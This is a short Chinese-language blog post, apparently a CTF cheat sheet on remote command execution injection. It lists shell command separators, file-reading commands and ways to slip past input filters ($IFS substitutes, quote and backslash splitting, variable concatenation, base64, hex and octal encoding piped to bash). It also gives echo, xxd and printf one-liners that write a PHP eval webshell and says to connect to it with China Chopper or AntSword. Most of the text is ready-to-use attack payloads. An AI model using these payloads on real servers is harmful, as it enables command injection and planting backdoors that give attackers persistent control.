RCE 注入过滤

一、命令连接符:

1、";”:执行完前面的语句再执行后面的语句。 2、“|”:显示后面语句的执行结果。
3、“||”:当前面的语句执行出错时,执行后面的语句。
4、“&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
5、“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
6、%0a“这个为url编码的换行符,不能在linux下直接使用需要通过php环境下”(在过滤掉前面几种后可以考虑);

二、 查看文件内容的命令

1、“cat" 由第一行开始显示,并将所有内容输出。
2、“tac”与cat相反,从最后一行开始逐行输出。
3、“more” 就是我们管道中常用的分页显示。
4、“head”可以显示文本内容的前几行
5、“tail”显示末尾几行
6、“nl”与cat -n 命令一样,输出内容并显示行号 ;

三、通过命令行编写webshell

1、 “linux":echo “” > shell.php;
echo 3c3f7068706576616c2840245f504f53545b2270617373225d293b3f3e|xxd -r -ps > webshell.php//与上一种异曲同工,知识转成了16进制 |xxd是将16进制转回去
2、 windos下:“echo ^ > shell.php”

之后可以在网页地址栏查看文件(shell.php),上传成功后可以用菜刀或蚁剑连接查看

-----------------------------------过滤操作----------------------------------------

空格过滤:

绕过可以使用下面字符代替
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

注: $IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用
,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

以下两种方法可以绕过特定的单词(cat、flag等):

单引号和双引号绕过
比如:ca’'t flag 或ca""t flag

反斜杠绕过
比如:ca\t fl\ag

过滤目录分隔符 /
可以使用;和cd到目录然后使用cat抓取

拼接绕过
比如:a=l;b=s; a a ab
a a ab就代表ls

编码绕过:
base64

echo MTIzCg==|base64 -d 其将会打印123
echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag

hex:

echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

oct:

$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#可以通过这样来写webshell,内容为
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

你可能感兴趣的:(web)